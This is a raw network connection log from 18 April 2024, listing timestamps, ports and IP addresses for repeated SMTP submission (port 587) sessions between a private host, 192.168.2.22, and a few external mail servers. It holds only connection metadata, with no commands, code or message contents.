Apr 18, 2024 10:24:10.539531946 CEST	587	49164	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:10.539719105 CEST	49164	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:10.693528891 CEST	587	49164	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:10.694917917 CEST	587	49164	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:10.695209980 CEST	49164	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:10.867539883 CEST	587	49164	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:11.073678017 CEST	49164	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:11.950498104 CEST	49166	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:12.103893042 CEST	587	49166	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:12.103976011 CEST	49166	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:12.260631084 CEST	587	49166	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:12.265949011 CEST	49166	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:12.419348001 CEST	587	49166	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:12.419408083 CEST	587	49166	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:12.419683933 CEST	49166	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:12.612803936 CEST	587	49166	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:12.930761099 CEST	49167	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:13.084347010 CEST	587	49167	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:13.084546089 CEST	49167	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:13.242820978 CEST	587	49167	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:13.248317003 CEST	49167	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:13.401844978 CEST	587	49167	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:13.401979923 CEST	587	49167	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:13.402292013 CEST	49167	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:13.539827108 CEST	49168	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:13.595520973 CEST	587	49167	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:13.693553925 CEST	587	49168	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:13.693823099 CEST	49168	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:13.851263046 CEST	587	49168	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:13.900983095 CEST	49168	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:14.054439068 CEST	587	49168	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:14.054475069 CEST	587	49168	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:14.054744005 CEST	49168	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:14.247334003 CEST	587	49168	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:16.574812889 CEST	587	49166	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:16.575083017 CEST	49166	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:16.728353977 CEST	587	49166	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:17.558197021 CEST	587	49167	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:17.558521032 CEST	49167	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:17.711898088 CEST	587	49167	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:18.210827112 CEST	587	49168	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:18.211086035 CEST	49168	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:18.364506960 CEST	587	49168	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:18.540417910 CEST	587	49166	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:18.540730000 CEST	49166	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:18.694066048 CEST	587	49166	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:18.695595026 CEST	587	49166	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:18.695785046 CEST	49166	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:18.867135048 CEST	587	49166	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:19.092073917 CEST	49166	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:19.540182114 CEST	587	49167	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:19.540455103 CEST	49167	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:19.694020987 CEST	587	49167	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:19.695561886 CEST	587	49167	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:19.695841074 CEST	49167	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:19.867471933 CEST	587	49167	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:20.090490103 CEST	49167	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:20.541394949 CEST	587	49168	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:20.541563034 CEST	49168	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:20.695312977 CEST	587	49168	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:20.697396040 CEST	587	49168	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:20.697542906 CEST	49168	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:20.867923021 CEST	587	49168	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:21.073298931 CEST	49168	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:33.024961948 CEST	49166	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:33.025233030 CEST	49164	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:33.179514885 CEST	587	49166	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:33.179582119 CEST	587	49166	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:33.179619074 CEST	587	49164	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:33.179651976 CEST	587	49164	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:33.179672003 CEST	49166	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:33.179707050 CEST	49166	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:33.179702997 CEST	49164	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:33.179805994 CEST	49164	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:33.180155993 CEST	49169	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:33.333101034 CEST	587	49166	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:33.333158970 CEST	587	49164	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:33.333739042 CEST	587	49169	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:33.336002111 CEST	49169	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:33.494692087 CEST	587	49169	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:33.494951963 CEST	49169	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:33.648519039 CEST	587	49169	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:33.648837090 CEST	587	49169	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:33.650490046 CEST	49169	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:33.807120085 CEST	587	49169	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:33.807337999 CEST	49169	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:34.000572920 CEST	587	49169	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:34.034328938 CEST	49170	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:34.188282967 CEST	587	49170	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:34.188379049 CEST	49170	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:34.346157074 CEST	587	49170	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:34.386981964 CEST	49170	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:34.540919065 CEST	587	49170	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:34.541156054 CEST	587	49170	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:34.541373968 CEST	49170	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:34.698683977 CEST	587	49170	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:34.720108032 CEST	49170	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:34.913875103 CEST	587	49170	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:35.540153027 CEST	587	49169	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:35.540386915 CEST	49169	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:35.693921089 CEST	587	49169	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:35.694722891 CEST	587	49169	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:35.694866896 CEST	49169	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:35.864095926 CEST	587	49169	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:36.029588938 CEST	49168	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:36.029638052 CEST	49167	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:36.065028906 CEST	49169	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:36.183907986 CEST	587	49168	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:36.183984995 CEST	587	49168	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:36.184027910 CEST	587	49167	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:36.184034109 CEST	49168	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:36.184060097 CEST	49168	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:36.184067011 CEST	587	49167	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:36.184108973 CEST	49167	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:36.184150934 CEST	49167	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:36.184545040 CEST	49171	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:36.337625027 CEST	587	49167	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:36.337663889 CEST	587	49168	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:36.338449001 CEST	587	49171	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:36.338519096 CEST	49171	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:36.396716118 CEST	587	49170	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:36.410909891 CEST	49170	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:36.496736050 CEST	587	49171	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:36.496970892 CEST	49171	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:36.522252083 CEST	49172	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:36.564626932 CEST	587	49170	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:36.565984011 CEST	587	49170	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:36.566198111 CEST	49170	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:36.650578976 CEST	587	49171	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:36.650829077 CEST	587	49171	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:36.651021957 CEST	49171	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:36.676151991 CEST	587	49172	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:36.676282883 CEST	49172	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:36.737890005 CEST	587	49170	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:36.807874918 CEST	587	49171	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:36.810499907 CEST	49171	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:36.833693027 CEST	587	49172	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:36.833868027 CEST	49172	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:36.954168081 CEST	49170	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:36.986675024 CEST	587	49172	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:36.986989975 CEST	587	49172	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:36.987303019 CEST	49172	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:37.003436089 CEST	587	49171	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:37.144119024 CEST	587	49172	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:37.146362066 CEST	49172	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:37.340284109 CEST	587	49172	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:38.299909115 CEST	587	49171	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:38.300168991 CEST	49171	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:38.453797102 CEST	587	49171	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:38.455454111 CEST	587	49171	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:38.455607891 CEST	49171	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:38.625900984 CEST	587	49171	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:38.826845884 CEST	49171	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:39.544198990 CEST	587	49172	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:39.544771910 CEST	49172	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:39.698043108 CEST	587	49172	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:39.700740099 CEST	587	49172	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:39.701014996 CEST	49172	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:39.872864008 CEST	587	49172	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:40.074203968 CEST	49172	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:40.107068062 CEST	49169	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:40.107242107 CEST	49170	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:40.261904001 CEST	587	49169	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:40.261928082 CEST	587	49169	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:40.261989117 CEST	49169	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:40.262032032 CEST	49169	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:40.262182951 CEST	587	49170	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:40.262203932 CEST	587	49170	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:40.262269974 CEST	49170	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:40.262269974 CEST	49170	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:40.262540102 CEST	49173	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:40.420378923 CEST	587	49169	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:40.420435905 CEST	587	49173	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:40.420540094 CEST	49173	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:40.420593977 CEST	587	49170	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:40.580343962 CEST	587	49173	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:40.580518007 CEST	49173	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:40.733752966 CEST	587	49173	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:40.734402895 CEST	587	49173	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:40.734569073 CEST	49173	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:40.927623034 CEST	587	49173	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:44.890981913 CEST	587	49173	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:44.891227007 CEST	49173	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:45.044542074 CEST	587	49173	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:45.089590073 CEST	49171	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:45.244359970 CEST	587	49171	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:45.244383097 CEST	587	49171	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:45.244577885 CEST	49171	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:45.244641066 CEST	49171	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:45.398312092 CEST	587	49171	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:46.220952034 CEST	49174	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:46.301721096 CEST	587	49173	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:46.301999092 CEST	49173	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:46.374243975 CEST	587	49174	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:46.374349117 CEST	49174	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:46.455262899 CEST	587	49173	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:46.458444118 CEST	587	49173	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:46.458625078 CEST	49173	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:46.532717943 CEST	587	49174	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:46.532891035 CEST	49174	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:46.628889084 CEST	587	49173	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:46.686093092 CEST	587	49174	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:46.686474085 CEST	587	49174	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:46.686775923 CEST	49174	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:46.829066038 CEST	49173	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:46.843734026 CEST	587	49174	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:46.843966007 CEST	49174	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:47.036701918 CEST	587	49174	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:47.931420088 CEST	49172	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:48.085829020 CEST	587	49172	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:48.085846901 CEST	587	49172	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:48.086030006 CEST	49172	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:48.086030006 CEST	49172	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:48.239320040 CEST	587	49172	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:48.550048113 CEST	587	49174	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:48.550373077 CEST	49174	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:48.703742027 CEST	587	49174	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:48.705421925 CEST	587	49174	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:48.705573082 CEST	49174	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:48.812798023 CEST	49175	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:48.824671030 CEST	49176	587	192.168.2.22	208.91.199.225
Apr 18, 2024 10:24:48.877095938 CEST	587	49174	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:48.966288090 CEST	587	49175	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:48.967045069 CEST	49175	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:48.977868080 CEST	587	49176	208.91.199.225	192.168.2.22
Apr 18, 2024 10:24:48.977941990 CEST	49176	587	192.168.2.22	208.91.199.225
Apr 18, 2024 10:24:49.075459957 CEST	49174	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:49.126441002 CEST	587	49175	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:49.130379915 CEST	49175	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:49.283927917 CEST	587	49175	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:49.284199953 CEST	587	49175	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:49.284413099 CEST	49175	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:49.441251040 CEST	587	49175	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:49.441720009 CEST	49175	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:49.520809889 CEST	587	49176	208.91.199.225	192.168.2.22
Apr 18, 2024 10:24:49.521007061 CEST	49176	587	192.168.2.22	208.91.199.225
Apr 18, 2024 10:24:49.634744883 CEST	587	49175	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:49.674263000 CEST	587	49176	208.91.199.225	192.168.2.22
Apr 18, 2024 10:24:49.674693108 CEST	587	49176	208.91.199.225	192.168.2.22
Apr 18, 2024 10:24:49.674873114 CEST	49176	587	192.168.2.22	208.91.199.225
Apr 18, 2024 10:24:49.832007885 CEST	587	49176	208.91.199.225	192.168.2.22
Apr 18, 2024 10:24:49.832353115 CEST	49176	587	192.168.2.22	208.91.199.225
Apr 18, 2024 10:24:50.025254011 CEST	587	49176	208.91.199.225	192.168.2.22
Apr 18, 2024 10:24:51.550415039 CEST	587	49176	208.91.199.225	192.168.2.22
Apr 18, 2024 10:24:51.550457954 CEST	587	49175	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:51.556792021 CEST	49176	587	192.168.2.22	208.91.199.225
Apr 18, 2024 10:24:51.556878090 CEST	49175	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:51.710170984 CEST	587	49176	208.91.199.225	192.168.2.22
Apr 18, 2024 10:24:51.710498095 CEST	587	49175	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:51.712093115 CEST	587	49175	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:51.712389946 CEST	49175	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:51.713795900 CEST	587	49176	208.91.199.225	192.168.2.22
Apr 18, 2024 10:24:51.713893890 CEST	49176	587	192.168.2.22	208.91.199.225
Apr 18, 2024 10:24:51.884977102 CEST	587	49175	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:51.906116009 CEST	587	49176	208.91.199.225	192.168.2.22
Apr 18, 2024 10:24:51.912970066 CEST	587	49176	208.91.199.225	192.168.2.22
Apr 18, 2024 10:24:52.086224079 CEST	49175	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:52.117535114 CEST	49176	587	192.168.2.22	208.91.199.225
Apr 18, 2024 10:24:55.832062006 CEST	49174	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:55.832112074 CEST	49173	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:55.986268044 CEST	587	49173	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:55.986304045 CEST	587	49173	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:55.986320019 CEST	587	49174	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:55.986335993 CEST	587	49174	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:55.986350060 CEST	49173	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:55.986368895 CEST	49174	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:55.986605883 CEST	49173	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:55.987081051 CEST	49174	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:55.990195990 CEST	49177	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:56.139729977 CEST	587	49173	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:56.140307903 CEST	587	49174	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:56.143410921 CEST	587	49177	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:56.143469095 CEST	49177	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:56.303076982 CEST	587	49177	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:56.303210020 CEST	49177	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:56.456846952 CEST	587	49177	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:56.457040071 CEST	587	49177	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:56.457195044 CEST	49177	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:56.614689112 CEST	587	49177	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:56.614926100 CEST	49177	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:56.807677984 CEST	587	49177	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:58.407046080 CEST	587	49177	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:58.419975042 CEST	49177	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:58.573966980 CEST	587	49177	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:58.576431036 CEST	587	49177	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:58.576741934 CEST	49177	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:58.748768091 CEST	587	49177	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:59.012729883 CEST	49177	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:59.138678074 CEST	587	49177	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:59.138772011 CEST	49177	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:25:06.310566902 CEST	49176	587	192.168.2.22	208.91.199.225
Apr 18, 2024 10:25:06.310635090 CEST	49175	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:25:06.798082113 CEST	49175	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:25:06.828366041 CEST	49176	587	192.168.2.22	208.91.199.225
Apr 18, 2024 10:25:07.405602932 CEST	49175	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:25:07.436676979 CEST	49176	587	192.168.2.22	208.91.199.225
Apr 18, 2024 10:25:08.326282978 CEST	49178	587	192.168.2.22	208.91.199.225
Apr 18, 2024 10:25:08.600235939 CEST	49175	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:25:08.637841940 CEST	49176	587	192.168.2.22	208.91.199.225
Apr 18, 2024 10:25:09.260175943 CEST	49177	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:25:09.761081934 CEST	49177	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:25:10.385067940 CEST	49177	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:25:11.005409002 CEST	49175	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:25:11.040388107 CEST	49176	587	192.168.2.22	208.91.199.225
Apr 18, 2024 10:25:11.321105003 CEST	49178	587	192.168.2.22	208.91.199.225
Apr 18, 2024 10:25:11.633100033 CEST	49177	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:25:14.113569021 CEST	49177	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:25:15.798372030 CEST	49175	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:25:15.845112085 CEST	49176	587	192.168.2.22	208.91.199.225
Apr 18, 2024 10:25:17.327219009 CEST	49178	587	192.168.2.22	208.91.199.225
Apr 18, 2024 10:25:19.074539900 CEST	49177	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:25:24.456724882 CEST	49179	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:25:25.454838037 CEST	49176	587	192.168.2.22	208.91.199.225
Apr 18, 2024 10:25:25.501519918 CEST	49175	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:25:27.451523066 CEST	49179	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:25:28.995918036 CEST	49177	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:25:29.339380026 CEST	49178	587	192.168.2.22	208.91.199.224
Apr 18, 2024 10:25:30.587596893 CEST	49180	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:25:32.349941015 CEST	49178	587	192.168.2.22	208.91.199.224
Apr 18, 2024 10:25:33.477111101 CEST	49179	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:25:33.598082066 CEST	49180	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:25:34.248503923 CEST	49181	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:25:37.295253992 CEST	49181	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:25:38.402889967 CEST	49178	587	192.168.2.22	208.91.199.224
Apr 18, 2024 10:25:39.588479042 CEST	49180	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:25:43.301287889 CEST	49181	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:25:45.485516071 CEST	49179	587	192.168.2.22	208.91.199.225
Apr 18, 2024 10:25:48.480753899 CEST	49179	587	192.168.2.22	208.91.199.225
Apr 18, 2024 10:25:50.461766958 CEST	49178	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:25:51.663050890 CEST	49180	587	192.168.2.22	208.91.199.223
Apr 18, 2024 10:25:53.520103931 CEST	49178	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:25:54.502037048 CEST	49179	587	192.168.2.22	208.91.199.225
Apr 18, 2024 10:25:54.685980082 CEST	49180	587	192.168.2.22	208.91.199.223
